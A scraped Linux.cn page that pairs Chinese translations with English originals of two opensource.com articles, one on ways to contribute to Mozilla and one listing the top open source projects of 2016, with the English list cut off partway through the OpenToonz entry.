没有点充满乐趣的活动和小礼品的社区是不完整的。Mozilla 也不例外。
向 Mozilla 做贡献能给你机会参加 Mozilla 的内部活动。一旦你成为熟练的 Mozilla 贡献者,你将能主持你当地的 Mozilla 活动(Mozilla 或许会予以资金支持)。当然,会另外提供些小礼品 —— 贴纸,T恤,马克杯等。

*根据 CC BY-SA 4.0 协议分享,印度 2016 Mozilla 聚会, Moin Shaikh 提供。*
### 如何向 Mozilla 做贡献
不管您是编程人员、网页设计师、品质控制测试者、翻译,或者是介于之间的任何职业,都有许多不同的方式向 Mozilla 做贡献。让我们看看以下两个主要方面:技术贡献和非技术贡献。

*根据 CC BY-SA 3.0 协议分享, [Mozilla.org](http://mozilla.org/) 供图。*
#### 技术贡献
技术贡献是给那些喜欢编程,想要用他们的代码来弄出点动静的人。有不同的用特定编程语言的项目可供施展能力。
* 如果喜欢 C++ ,你能向火狐的核心层和其他 Mozilla 产品做贡献。
* 如果喜欢 JavaScript、HTML 和 CSS ,你能向火狐的前端做贡献。
* 如果你懂得 Java ,你能向火狐移动端、火狐安卓版和 MozStumbler (LCTT 译注:MozStumbler 是 Mozilla 开源的无线网络扫描程序)做贡献。
* 如果你懂得 Python ,你能给网络服务,包括<ruby> 火狐同步 <rp> ( </rp> <rt> Firefox Sync </rt> <rp> ) </rp></ruby>或者<ruby> 火狐账户 <rp> ( </rp> <rt> Firefox Accounts </rt> <rp> ) </rp></ruby>做贡献。
* 如果你懂得 Shell、Make、Perl 或者 Python ,你能给 Mozilla 的编译系统和发布引擎和自动化做贡献。
* 如果你懂得 C 语言,你能给 NSS、Opus 和 Daala 做贡献。
* 如果你懂得 Rust 语言,你能给 RustC、Servo(一个为并行、安全而设计的网页浏览器引擎)或者 Quantum (一个将大量 Servo 转化为 Gecko 的项目)做贡献。
* 如果你懂得 Go 语言,你能给 Heka 做贡献,这是一个数据处理工具。
要获取更多信息,可以访问 <ruby> Mozilla 开发者网络 <rt> Mozilla Developer Network </rt></ruby>(MDN)的[开始](https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Introduction#Find_a_bug_we've_identified_as_a_good_fit_for_new_contributors.)部分来了解不同的贡献领域。
除了语言和代码,积极测试火狐浏览器的各个部分、火狐安卓浏览器和 Mozilla 的很多网络组件,例如火狐附加组件等,这样也能贡献你的品质保证(QA)和测试能力。
#### 非技术贡献
你也可以给 Mozilla 提供非技术贡献,专注于以下领域:品质保证(QA)测试,文档翻译,用户体验/用户界面(UX/UI)设计,<ruby> Web 识别 <rp> ( </rp> <rt> web literacy </rt> <rp> ) </rp></ruby>,<ruby> 开源宣讲 <rp> ( </rp> <rt> open source advocacy </rt> <rp> ) </rp></ruby>,给 Mozilla 的火狐用户、雷鸟用户提供支持等。
**品质保证(QA)测试:** Mozilla 的 QA 团队遍及全世界,有着庞大且活跃的社区,他们深入参与到了火狐及 Mozilla 的其他项目中。QA 贡献者早期介入到各种产品,探索新的特性,记录漏洞,将已知漏洞分类,编写并执行测试用例,进行自动化测试,并从可用性角度提供有价值的反馈。想开始或者了解更多 Mozilla QA 社区资源,请访问 [Mozilla QA 社区](https://quality.mozilla.org/get-involved/) 网页。
**用户体验设计:** 如果你是个有创意的设计者或是个喜爱折腾色彩和图形的极客,Mozilla 在其社区里有很多位置提供给你,在那里你能设计好用易理解的、美妙的 Mozilla 项目。去看看 Mozilla GitHub page 上的[<ruby> 开放设计仓库 <rt> Open Design repository </rt></ruby>](https://github.com/mozilla/OpenDesign) 页面。
**用户支持(论坛和社交支持):** 这是成千上万像你我这样的火狐、雷鸟用户访问和发帖询问关于火狐、雷鸟问题的地方。这也是他们从像我们这样的 Mozilla 贡献者获取回答的地方。这不需要编程才华,不需要设计技能,不需要测试能力,作为火狐用户支持贡献者,你只需要有点儿火狐的知识即可上手。点击 [SUMO](http://support.mozilla.org/) 的“[参与其中](https://support.mozilla.org/en-US/get-involved/questions)”的链接来加入用户支持。从做支持开始或许是你着手开始你的 Mozilla 旅程中最简单的部分。(注:三年前,我从社区支持论坛开始我的 Mozilla 旅程)
**编写知识库和帮助文章:** 如果你喜欢写作和传授知识,知识库对你来说是个好地方。 Mozilla 总是在寻找能给火狐和其它产品用英文撰写、编辑、校对文章的志愿者。每周有成千上万的用户浏览这些知识库文章,通过分享你的智慧和编写帮助文章,你也能产生强大的影响力。访问 [Mozilla 知识库](https://support.mozilla.org/en-US/get-involved/kb) 页面来参与其中。
**本地化,又称 “L10N”:** (LCTT 译注:L10N 是 localization 的缩写形式,意即在 l 和 n 之间有 10 个字母) Mozilla 的产品,例如火狐,被全世界数百万讲着不同语言的人们所使用着。人们需要这些产品以他们的语言显示。语言本地化是个非常需要志愿者的领域。需要你的翻译和本地化能力的项目包括:
* Mozilla 产品,例如火狐
* Mozilla 网页和服务
* Mozilla 市场活动
* SUMO 产品支持文档
* MDN 开发者文档
你可以访问 [Mozilla 本地化](https://l10n.mozilla.org/)页面来参与其中。
**教授和 <ruby> Web 识别 <rp> ( </rp> <rt> web literacy </rt> <rp> ) </rp></ruby>能力:** Mozilla 基本使命目标之一是使所有人都可访问网络。为了实现这个目标使命,Mozilla 通过提供 web 识别工具和技术来致力于教育和帮助 Web 用户。这是可以用你的教授技能来帮助他人的地方。如果你是一位喜欢分享知识、给民众展示关于互联网相关东西的热情的老师,来看一下 Mozilla 发起的 [Web 教育](https://learning.mozilla.org/en-US/)活动。将互联网和 web 识别教给你当地社区、学校孩子、你的朋友和其他有关的人。
**宣讲:** 如果你对 Mozilla 的使命充满热情,你能通过倡导 Mozilla 的使命来传播使命内容。当倡导 Mozilla 的使命时,你能做出如下来贡献:
* 捍卫公共规则,为开放的互联网和用户隐私做斗争。
* 跟网站管理者在兼容性方面合作,提高网站的互操作性。
* 帮助网络作者提升在开放网络方面的文章写作。
* 成为<ruby> <a href="https://www.mozilla.org/en-US/contribute/friends/"> 火狐朋友 </a> <rp> ( </rp> <rt> Firefox Friends </rt> <rp> ) </rp></ruby>,展示你作为 Mozilla 和火狐贡献者的自豪。
想要开始帮助宣传 Mozilla 使命,看一下 [Mozilla 宣讲](https://advocacy.mozilla.org/en-US) 页面。
### 如果你还有疑惑,我来帮你开始!
我知道,作为一个新来的贡献者,这篇文章或许给你太多的信息。如果你需要更深入的方向、更多的资源资料,你可以在下面的评论中问我,或者[在 Twitter 里私信我](https://twitter.com/moingshaikh),我很乐意帮助你开始向 Mozilla 做出第一次的贡献(或者更多!)
---
作者简介:
Moin Shaikh 是一个开源科技极客,职业是网页分析,有着 7 年多的 IT 工作经验。主要贡献领域:火狐网络 QA ,火狐技术支持,本地化和社区指导。除了开源贡献,还学习并身体力行于用户体验、物料设计和电子商务分析。
---
via: <https://opensource.com/article/17/1/how-get-started-contributing-mozilla>
作者:[Moin Shaikh](https://opensource.com/users/moinshaikh) 译者:[ypingcn](https://github.com/ypingcn) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | *The journey of a thousand miles begins with one step. —Lao Tzu*
Open source participation offers a sea of benefits that can fine-tune and speed up your career in the tech, including but not limited to real-world technical experience and expanding your professional network. There are a lot of open source projects out there you can contribute to—of small, medium, and large size, as well as unknown and popular. In this article we'll focus on how to contribute to one of the largest and most popular open source projects on the web: Mozilla.
## Why contribute to Mozilla?
### Real world experience
Mozilla is one of the largest open source projects on the web and is itself a host to many other open source projects. So, when you contribute to large-scale open source projects like Mozilla, you gain real-world exposure to how things really work in the tech field, increased knowledge of technical jargon and complex system functionalities, and most importantly, an understanding of how to take code from a local system to a live code repository. You'll learn many of the tools and techniques contributors are using to manage these large-scale projects, like GitHub, Docker, Bugzilla, etc.
### Community connections
Community is the heart of any open source project. Contributing to Mozilla connects you with official Mozilla staff and mentors, senior Mozilla contributors (aka Mozillians), and your own local Mozilla community. These are like-minded people who care and strive for improving open source like you do.
Also, you'll have a chance to build your own identity in the Mozilla community and to inspire other fellow Mozillians. If you want to, you can also eventually mentor others.
### Events and swag
No community is complete without a few fun-filled events and bags of swag. Mozilla is no exception.
Contributing to Mozilla will give you a chance to take part in exclusive Mozilla events. And once you've become a seasoned Mozilla contributor, you'll be able to host your own local Mozilla community events (and Mozilla may assist with funding). Plus, of course, some cool swag—stickers, T-shirts, mugs, and more.
CC BY-SA 4.0 Mozilla India Meetup 2016 by Moin Shaikh
## How to contribute to Mozilla
Whether you are a programmer, web designer, QA tester, translator, or something in-between, there are many different ways you can contribute to Mozilla. Let's view it in two main parts: technical contribution and nontechnical contribution.
CC BY-SA 3.0 by Mozilla.org
### Technical contribution
Technical contribution is for people who love programming and who want to make an impact with their code. There are a number of projects built in specific programming languages where you can hone your talents:
- If love C++, you can contribute to the core layers of Firefox and other Mozilla products.
- If you know JavaScript, HTML, and CSS, you can contribute to the front-end of Firefox.
- If you know Java, you can contribute to Firefox Mobile, Firefox on Android, and MozStumbler.
- If you know Python, you can contribute to web services, including Firefox Sync or Firefox Accounts.
- If you know Shell, Make, Perl, or Python, you can contribute to Mozilla's build systems and release engineering and automation.
- If you know C language, you can contribute to NSS, Opus, and Daala projects.
- If you know Rust language, you can contribute to RustC, Servo (a web browser engine designed for parallelism and safety), or Quantum (a project to bring large pieces of Servo into Gecko).
- If you know Go language, you can contribute to Heka, a tool for data processing.
To learn more, visit the [Getting Started](https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Introduction#Find_a_bug_we've_identified_as_a_good_fit_for_new_contributors.) section on the Mozilla Developer Network (MDN) to take a look at various contributions areas.
Apart from languages and code, you can also contribute with your QA and testing skills by actively testing various parts of Firefox web browser, Firefox Android browser, and Mozilla's many web properties, such as Firefox add-ons, etc.
### Nontechnical contribution
You can also make nontechnical contributions to Mozilla, focusing on areas like QA testing, document translation, UX/UI design, web literacy, open source advocacy, and providing user support to Mozilla Firefox and Thunderbird users.
**QA testing:** The Mozilla QA team has a large and vibrant community around the world that is deeply involved in the workings of Firefox and other Mozilla projects. The QA contributors take an early look at various products, explore new features, file bugs, triage existing bugs, write and execute test cases, automate tests, and provide valuable feedback from a usability perspective. To get started or to learn more about the Mozilla QA community resources, visit the [Mozilla QA community](https://quality.mozilla.org/get-involved/) website.
**UX design:** If you're a creative designer or a passionate geek who loves to play with colors and graphics, Mozilla has a lot of space for you in its community where you can design usable, accessible, delightful Mozilla projects. Check out this [Open Design repository](https://github.com/mozilla/OpenDesign) on Mozilla's GitHub page.
**User support (forum and social support):** This is where hundreds of thousands of Firefox and Thunderbird users like you and me come and post questions about Firefox and Thunderbird, and this is where they get answers from Mozilla contributors like us. This requires no coding genius, no design skills, and no testing abilities, only handful of Firefox knowledge to get started as a Firefox User Support contributor. Check out this [Get Involved](https://support.mozilla.org/en-US/get-involved/questions) section to join User Support at [SUMO](http://support.mozilla.org/). Support is probably the easiest yet most important areas to commence your Mozilla journey. (Note: Three years ago, I began my Mozilla journey at the Social Support forums.)
**Writing knowledgebase and help articles:** If you like writing and teaching, then the Knowledge Base is the place for you. Mozilla is always looking for contributors who can write, edit, or proofread articles in English for Firefox and other products. Thousands of users surf these knowledgebase articles every week, and you can make a robust impact by sharing your wisdom and writing help articles for them. Visit the [Mozilla Knowledge Base](https://support.mozilla.org/en-US/get-involved/kb) site to get involved.
**Localization, aka l10n:** Mozilla's products, like Firefox, are used by millions around the globe and by those speaking many different languages. People need these products in their own language. Language localization is an area that is very much in need of contributors. Projects requiring your translation and localization skills include:
- Mozilla products, such as Firefox
- Mozilla websites and services
- Mozilla marketing campaigns
- SUMO product support documentation
- MDN developer documentation
You can visit [Mozilla's l10n](https://l10n.mozilla.org/) site to get involved.
**Teaching and web literacy:** One of the fundamental mission objectives of Mozilla is to keep the web accessible to all. To achieve this mission objective, Mozilla strives hard to educate and enable web users by providing them with the tools and technologies of web literacy. This is where you can help with your teaching skills. If you are a passionate teacher who loves to share knowledge and show the masses all about the Internet, take a look at [Teach the Web](https://learning.mozilla.org/en-US/) initiative by Mozilla. Teach your local community, school kids, your friends, and others about the Internet and web literacy.
**Advocacy:** If you are passionate about Mozilla's mission, you can spread the word by advocating for the Mozilla mission. While advocating for Mozilla's mission, you can contribute by:
- Tackling public policy and fight for an open internet and user privacy
- Helping the web be more interoperable by working with site owners on compatibility
- Helping web authors improve how they write about the open web
- Showing your Mozilla and Firefox pride as
[Firefox Friends](https://www.mozilla.org/en-US/contribute/friends/)
To begin promoting Mozilla's mission, take a look at the [Mozilla Advocacy](https://advocacy.mozilla.org/en-US) page.
## If you're lost, I'm here to help you get started!
I know that as a novice contributor, this article might be an overwhelming amount of information for you. If you need further directions, resources, or references, you can ask me in the comments below or you can [ping me on Twitter](https://twitter.com/moingshaikh). I would be very happy to help you get started with your first contribution (of many more!) to Mozilla.
## 4 Comments |
8,204 | 2016 年十大顶级开源项目 | https://opensource.com/article/16/12/yearbook-top-10-open-source-projects | 2017-02-14T09:08:00 | [
"开源项目"
] | https://linux.cn/article-8204-1.html |
>
> 在我们今年的年度顶级开源项目列表中,让我们回顾一下作者们提到的几个 2016 年受欢迎的项目,以及社区管理员选出的钟爱项目。
>
>
>

我们持续关注每年新出现的、成长、改变和发展的优秀开源项目。挑选 10 个开源项目到我们的年度顶级项目列表中并不太容易,而且,也没有哪个如此短的列表能够包含每一个应该包含在内的项目。
为了挑选 10 个顶级开源项目,我们回顾了作者们 2016 年涉及到的流行的开源项目,同时也从社区管理员收集了一些意见。经过管理员的一番推荐和投票之后,我们的编辑团队选定了最终的列表。
它们就在这儿, 2016 年 10 个顶级开源项目:
### Atom
[Atom](https://atom.io/) 是一个来自 GitHub 的<ruby> 可魔改的 <rp> ( </rp> <rt> hackable </rt> <rp> ) </rp></ruby>文本编辑器。Jono Bacon 在今年的早些时候为它的“简单核心”[写了一篇文章](https://opensource.com/life/16/2/culture-pluggable-open-source),对该开源项目所给用户带来的选择而大加赞赏。
>
> “[Atom](https://atom.io/) 带来了大多数用户想要的主要核心特性和设置,但是缺失了一些用户可能想要的更加高级或独特的特性。……Atom 提供了一个强大的框架,从而允许它的许多部分都可以被改变或扩展。”
>
>
>
如果打算开始使用 Atom, 请先阅读[这篇指南](https://github.com/atom/atom/blob/master/CONTRIBUTING.md)。如果想加入到用户社区,你可以在 [GitHub](https://github.com/atom/atom)、[Discuss](http://discuss.atom.io/) 和 [Slack](http://atom-slack.herokuapp.com/) 上找到 Atom 。
Atom 是 [MIT](https://raw.githubusercontent.com/atom/atom/master/LICENSE.md) 许可的,它的[源代码](https://github.com/atom/atom)托管在 GitHub 上。
### Eclipse Che
[Eclipse Che](http://www.eclipse.org/che/) 是下一代在线集成开发环境(IDE)和开发者工作区。Joshua Allen Holm 在 2016 年 11 月为我们[点评](/article-8018-1.html)了 Eclipse Che,使我们可以一窥项目背后的开发者社区,Eclipse Che 创新性地使用了容器技术,并且开箱即用就支持多种流行语言。
>
> “Eclipse Che 集成了<ruby> 就绪即用 <rp> ( </rp> <rt> ready-to-go </rt> <rp> ) </rp></ruby>的<ruby> 软件环境 <rp> ( </rp> <rt> stack </rt> <rp> ) </rp></ruby>覆盖了绝大多数现代流行语言。这包括 C++、Java、Go、PHP、Python、.NET、Node.js、Ruby on Rails 和 Android 开发的软件环境。<ruby> 软件环境仓库 <rp> ( </rp> <rt> Stack Library </rt> <rp> ) </rp></ruby>如果不够的话,甚至还提供了更多的选择,你可以创建一个能够提供特殊环境的定制软件环境。”
>
>
>
你可以通过网上的[托管账户](https://www.eclipse.org/che/getting-started/cloud/)、[本地安装](https://www.eclipse.org/che/getting-started/download/),或者在你常用的[云供应商](https://bitnami.com/stack/eclipse-che)上测试 Eclipse Che。你也可以在 GitHub 上找到它的[源代码](https://github.com/eclipse/che/),发布于 [Eclipse 公开许可证](https://github.com/eclipse/che/blob/master/LICENSE)之下。
### FreeCAD
[FreeCAD](http://www.freecadweb.org/) 是用 Python 写的,是一款电脑辅助设计工具(或叫电脑辅助起草工具),可以用它来为实际物体创建设计模型。 Jason Baker 在 [3 款可供选择的 AutoCAD 的开源替代品](https://opensource.com/alternatives/autocad)一文中写到关于 FreeCAD :
>
> “FreeCAD 可以从各种常见格式中导入和导出 3D 对象,其模块化结构使得它易于通过各种插件扩展基本功能。该程序有许多内置的界面选项,这包括从草稿到渲染器,甚至还有一个机器人仿真能力。”
>
>
>
FreeCAD 是 [LGPL](https://github.com/FreeCAD/FreeCAD/blob/master/COPYING) 许可的,它的[源代码](https://github.com/FreeCAD/FreeCAD)托管在 GitHub 上。
### GnuCash
[GnuCash](https://www.gnucash.org/) 是一个跨平台的开源桌面应用,它可以用来管理个人和小型商业账户。 Jason Baker 把 GnuCash 列入了我们针对个人金融的 Mint 和 Quicken 的开源替代品的[综述列表](https://opensource.com/life/16/1/3-open-source-personal-finance-tools-linux)中:
>
> GnuCash “具有多项记账的特性,能从多种格式导入数据,处理多重汇率,为你创建预算,打印支票,创建定制计划报告,并且能够直接从网上银行导入和拉取股票行情。”
>
>
>
其发布于 GPL [版本 2 或版本 3 许可证](https://github.com/Gnucash/gnucash/blob/master/LICENSE)下,你可以在 GitHub 上找到 GnuCash 的[源代码](https://github.com/Gnucash/)。
一个值得一提的 GnuCash 可选替代品是 [KMyMoney](https://kmymoney.org/),它也得到了该列表的提名,是另一个在 Linux 上管理财务的好选择。
### Kodi
[Kodi](https://kodi.tv/) 是一个开源媒体中心应用,之前叫做 XBMC,它能够在多种设备上工作,是一个用来 DIY 播放电影、TV、音乐的机顶盒的工具。 Kodi 高度可定制化,它支持多种皮肤、插件和许多遥控设备(包括它自己定制的 Android remote 应用)。
尽管今年我们没有深入地报道 Kodi, 但依旧出现在许多关于创建一个家用 Linux [音乐服务器](https://opensource.com/life/16/1/how-set-linux-based-music-server-home)、媒体[管理工具](https://opensource.com/life/16/6/tinymediamanager-catalogs-your-movie-and-tv-files)的文章中,还出现在之前的一个关于最喜爱的开源[视频播放器](https://opensource.com/life/15/11/favorite-open-source-video-player)的投票中(如果你在家中使用 Kodi,想要写一些自己的体验,[请让我们知道](https://opensource.com/how-submit-article))。
其发布于 [GPLv2](https://github.com/xbmc/xbmc/blob/master/LICENSE.GPL) 许可证下,你可以在 GitHub 上找到 Kodi 的[源代码](https://github.com/xbmc/xbmc)。
### MyCollab
[MyCollab](https://community.mycollab.com/) 是一套针对顾客关系管理(CRM)、文档管理和项目管理的工具。社区管理员 Robin Muilwijk 在他的综述 [2016 年 11 个顶级的项目管理工具](https://opensource.com/business/16/3/top-project-management-tools-2016)一文中详细阐述了 MyCollab-Project :
>
> “MyCollab-Project 包含许多特性,比如甘特图、里程碑、时间跟踪和事件管理。它有 Kanban 板功能,因而支持敏捷开发模式。 MyCollab-Project 有三个不同的版本,其中[社区版](https://github.com/MyCollab/mycollab)是自由且开源的。”
>
>
>
安装 MyCollab 需要 Java 运行环境和 MySQL 环境的支持。请访问 [MyCollab 网站](https://community.mycollab.com/docs/developing-mycollab/how-can-i-contribute-to-mycollab/)来了解如何对项目做贡献。
MyCollab 是 AGPLv3 许可的,它的[源代码](https://github.com/MyCollab/mycollab)托管在 GitHub 上。
### OpenAPS
[OpenAPS](https://openaps.org/) 是社区管理员在 2016 年发现的另一个有趣的项目,我们也深入报道过它。 OpenAPS,即 Open Artificial Pancreas System 项目,是一个致力于提高 1 型糖尿病患者生活质量的开源项目。
>
> 该项目包含“[一个专注安全的典范(reference)设计](https://openaps.org/reference-design)、一个[工具箱](https://github.com/openaps/openaps)和一个开源的[典范(reference)实现](https://github.com/openaps/oref0/),它们是为设备制造商或者任何能够构造人工胰腺设备的个人设计的,从而能够根据胰岛素水平安全地调节血液中葡萄糖水平。尽管潜在用户在尝试亲自构建或使用该系统前应该小心地测试该项目并和他们的健康护理医生讨论,但该项目的创建者希望开放技术能够加速医疗设备行业的研究和开发步伐,从而发现新的治疗方案并更快的投入市场。”
>
>
>
### OpenHAB
[OpenHAB](http://www.openhab.org/) 是一个具有可插拔体系结构的家用自动化平台。社区管理员 D Ruth Bavousett 今年购买该平台并尝试使用以后为 OpenHAB [写到](https://opensource.com/life/16/4/automating-your-home-openhab):
>
> “我所发现的其中一个有趣的模块是蓝牙绑定;它能够发现特定的已启用蓝牙的设备(比如你的智能手机、你孩子的那些设备)并且在这些设备到达或离开的时候采取行动-关门或开门、开灯、调节恒温器和关闭安全模式等等”
>
>
>
查看这个能够与社交网络、即时消息和云 IoT 平台进行集成和通讯的[绑定和捆绑设备的完整列表](http://www.openhab.org/features/supported-technologies.html)。
OpenHAB 是 EPL 许可的,它的[源代码](https://github.com/openhab/openhab)托管在 GitHub 上。
### OpenToonz
[OpenToonz](https://opentoonz.github.io/e/index.html) 是一个 2D 动画生产软件。社区管理员 Joshua Allen 在 2016 年 3 月[报道](https://opensource.com/life/16/3/weekly-news-march-26)了它的开源版本,在 Opensource.com 网站的其他动画相关的文章中它也有被提及,但是我们并没有深入介绍,敬请期待。
现在,我们可以告诉你的是, OpenToonz 有许多独一无二的特性,包括 GTS,它是吉卜力工作室(Studio Ghibli )开发的一个生成工具,还有一个用于图像处理的[效果插件 SDK](https://github.com/opentoonz/plugin_sdk)。
如果想讨论开发和视频研究的话题,请查看 GitHub 上的[论坛](https://github.com/opentoonz/opentoonz/issues)。 OpenToonz 的[源代码](https://github.com/opentoonz/opentoonz)托管在 GitHub 上,该项目是以 BSD 许可证发布。
### Roundcube
[Roundcube](https://roundcube.net/) 是一个现代化、基于浏览器的邮件客户端,它提供了邮箱用户使用桌面客户端时可能用到的许多(如果不是全部)功能。它有许多特性,包括支持超过 70 种语言、集成拼写检查、拖放界面、功能丰富的通讯簿、 HTML 电子邮件撰写、多条件搜索、 PGP 加密支持、会话线索等。 Roundcube 可以作为许多用户的邮件客户端的偶尔的替代品工作。
在我们的 [Gmail的开源替代品](https://opensource.com/alternatives/gmail) 综述中, Roundcube 和另外四个邮件客户端均被包含在内。
其以 [GPLv3](https://github.com/roundcube/roundcubemail/blob/master/LICENSE) 许可证发布,你可以在 GitHub 上找到 Roundcube 的[源代码](https://github.com/roundcube/roundcubemail)。除了直接[下载](https://roundcube.net/download/)、安装该项目,你也可以在许多完整的邮箱服务器软件中找到它,如 [Groupware](http://kolab.org/)、[iRedMail](http://www.iredmail.org/)、[Mail-in-a-Box](https://mailinabox.email/) 和 [mailcow](https://mailcow.email/)。
这就是我们的列表了。在 2016 年,你有什么喜爱的开源项目吗?喜爱的原因呢?请在下面的评论框发表。
---
作者简介:

Jen Wike Huger - Jen Wike Huger 是 Opensource.com 网站的内容管理员。她负责日期发布、协调编辑团队并指导新作者和已有作者。请在 Twitter 上关注她 @jenwike, 并在 Jen.io 上查看她的更多个人简介。
---
via: <https://opensource.com/article/16/12/yearbook-top-10-open-source-projects>
作者:[Jen Wike Huger](https://opensource.com/users/jen-wike) 译者:[ucasFL](https://github.com/ucasFL) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | We continue to be impressed with the wonderful open source projects that emerge, grow, change, and evolve every year. Picking 10 to include in our annual list of top projects is no small feat, and certainly no list this short can include every deserving project.
To choose our 10, we looked back at popular open source projects our writers covered in 2016, and collected suggestions from our Community Moderators. After a round of nominations and voting by our moderators, our editorial team narrowed down the final list.
So here they are, our top 10 open source projects of 2016:
## Atom
[Atom](https://atom.io/) is a hackable text editor from GitHub. Jono Bacon [wrote](https://opensource.com/life/16/2/culture-pluggable-open-source) about its "simple core" earlier this year, exclaiming approval for open source projects that give users options.
"[Atom] delivers the majority of the core features and settings that most users likely will want, but is missing many of the more advanced or specific features some users may want. … Atom provides a powerful framework that allows pretty much any part of Atom to be changed and expanded."
To get started contributing, read the [guide](https://github.com/atom/atom/blob/master/CONTRIBUTING.md). To connect with other users and the community, find Atom on [GitHub](https://github.com/atom/atom), [Discuss](http://discuss.atom.io/), and [Slack](http://atom-slack.herokuapp.com/).
Atom is [MIT](https://raw.githubusercontent.com/atom/atom/master/LICENSE.md) licensed and the [source code](https://github.com/atom/atom) is hosted on GitHub.
## Eclipse Che
[Eclipse Che](http://www.eclipse.org/che/) is a next-generation online integrated development environment (IDE) and developer workspace. Joshua Allen Holm brought us a [review](https://opensource.com/life/16/11/introduction-eclipse-che) of Eclipse Che in November 2016, which provided a look at the developer community behind the project, its innovative use of container technology, and popular languages it supports out of the box.
"The ready-to-go bundled stacks included with Eclipse Che cover most of the modern popular languages. There are stacks for C++, Java, Go, PHP, Python, .NET, Node.js, Ruby on Rails, and Android development. A Stack Library provides even more options and if that is not enough, there is the option to create a custom stack that can provide specialized environments."
You can test out Eclipse Che in an online [hosted account](https://www.eclipse.org/che/getting-started/cloud/), through a [local installation](https://www.eclipse.org/che/getting-started/download/), or in your preferred [cloud provider](https://bitnami.com/stack/eclipse-che). The [source code](https://github.com/eclipse/che/) can be found on GitHub under an [Eclipse Public License](https://github.com/eclipse/che/blob/master/LICENSE).
## FreeCAD
[FreeCAD](http://www.freecadweb.org/) is written in Python and one of the many computer-aided design—or computer-aided drafting—tools available to create design specifications for real-world objects. Jason Baker wrote about FreeCAD in [3 open source alternatives to AutoCAD](https://opensource.com/alternatives/autocad).
"FreeCAD can import and export from a variety of common formats for 3D objects, and its modular architecture makes it easy to extend the basic functionality with various plug-ins. The program has many built-in interface options, from a sketcher to renderer to even a robot simulation ability."
FreeCAD is [LGPL](https://github.com/FreeCAD/FreeCAD/blob/master/COPYING) licensed and the [source code](https://github.com/FreeCAD/FreeCAD) is hosted on GitHub.
## GnuCash
[GnuCash](https://www.gnucash.org/) is a cross-platform open source desktop solution for managing your personal and small business accounts. Jason Baker included GnuCash in our [roundup](https://opensource.com/life/16/1/3-open-source-personal-finance-tools-linux) of the open source alternatives to Mint and Quicken for personal finance.
GnuCash "features multi-entry bookkeeping, can import from a wide range of formats, handles multiple currencies, helps you create budgets, prints checks, creates custom reports in Scheme, and can import from online banks and pull stock quotes for you directly."
You can find GnuCash's [source code](https://github.com/Gnucash/) on GitHub under a GPL [version 2 or 3 license](https://github.com/Gnucash/gnucash/blob/master/LICENSE).
An honorable mention goes to GnuCash alternative [KMyMoney](https://kmymoney.org/), which also received a nomination for our list, and is another great option for keeping your finances in Linux.
## Kodi
[Kodi](https://kodi.tv/) is an open source media center solution, formerly known as XBMC, which works on a variety of devices as a do-it-yourselfer's tool to building a set-top box for playing movies, TV, music, and more. It is heavily customizable, and supports numerous skins, plugins, and a variety of remote control devices (including its own custom Android remote for your phone).
Although we didn't cover Kodi in-depth this year, it kept popping up in articles on building a home Linux [music server](https://opensource.com/life/16/1/how-set-linux-based-music-server-home), media [management tools](https://opensource.com/life/16/6/tinymediamanager-catalogs-your-movie-and-tv-files), and even a previous poll on favorite open source [video players](https://opensource.com/life/15/11/favorite-open-source-video-player). (If you're using Kodi at home and want to write about your experience, [let us know](https://opensource.com/how-submit-article).)
The [source code](https://github.com/xbmc/xbmc) to Kodi can be found on GitHub under a [GPLv2](https://github.com/xbmc/xbmc/blob/master/LICENSE.GPL) license.
## MyCollab
[MyCollab](https://community.mycollab.com/) is a suite of tools for customer relationship management, document management, and project management. Community Moderator Robin Muilwijk covered the details of the project management tool MyCollab-Project in his roundup of [Top 11 project management tools for 2016](https://opensource.com/business/16/3/top-project-management-tools-2016).
"MyCollab-Project includes many features, like a Gantt chart and milestones, time tracking, and issue management. It also supports agile development models with its Kanban board. MyCollab-Project comes in three editions, of which the [community edition](https://github.com/MyCollab/mycollab) is the free and open source option."
Installing MyCollab requires a Java runtime and MySQL stack. Visit the [MyCollab site](https://community.mycollab.com/docs/developing-mycollab/how-can-i-contribute-to-mycollab/) to learn how to contribute to the project.
MyCollab is AGPLv3 licensed and the [source code](https://github.com/MyCollab/mycollab) is hosted on GitHub.
## OpenAPS
[OpenAPS](https://openaps.org/) is another project that our moderators found interesting in 2016, but also one that we have yet to cover in depth. OpenAPS, the Open Artificial Pancreas System project, is an open source project devoted to improving the lives of people with Type 1 diabetes.
The project includes "[a safety-focused reference design,](https://openaps.org/reference-design) a[ toolset](https://github.com/openaps/openaps), and an open source [reference implementation](https://github.com/openaps/oref0/)" designed for device manufacturers or any individual to be able to build their own artificial pancreas device to be able to safely regulate blood glucose levels overnight by adjusting insulin levels. Although potential users should examine the project carefully and discuss it with their healthcare provider before trying to build or use the system themselves, the project founders hope opening up technology will accelerate the research and development pace across the medical devices industry to discover solutions and bring them to market even faster.
## OpenHAB
[OpenHAB](http://www.openhab.org/) is a home automation platform with a pluggable architecture. Community Moderator D Ruth Bavousett [wrote](https://opensource.com/life/16/4/automating-your-home-openhab) about OpenHAB after buying a home this year and trying it out.
"One of the interesting modules I found was the Bluetooth binding; it can watch for the presence of specific Bluetooth-enabled devices (your smartphone, and those of your children, for instance) and take action when that device arrives or leaves—lock or unlock doors, turn on lights, adjust your thermostat, turn off security modes, and so on."
Check out the [full list of binding and bundles](http://www.openhab.org/features/supported-technologies.html) that provide integration and communication with social networks, instant messaging, cloud IoT platforms, and more.
OpenHAB is EPL licensed and the [source code](https://github.com/openhab/openhab) is hosted on GitHub.
## OpenToonz
[OpenToonz](https://opentoonz.github.io/e/index.html) is production software for 2D animation. Community Moderator Joshua Allen Holm [reported](https://opensource.com/life/16/3/weekly-news-march-26) on its open source release in March 2016, and it has been mentioned in other animation-related articles on Opensource.com, but we haven't covered it in depth. Stay tuned for that.
In the meantime, we can tell you that there are a number of features unique to OpenToonz, including GTS, which is a spanning tool developed by Studio Ghibli, and [a plug-in effect SDK](https://github.com/opentoonz/plugin_sdk) for image processing.
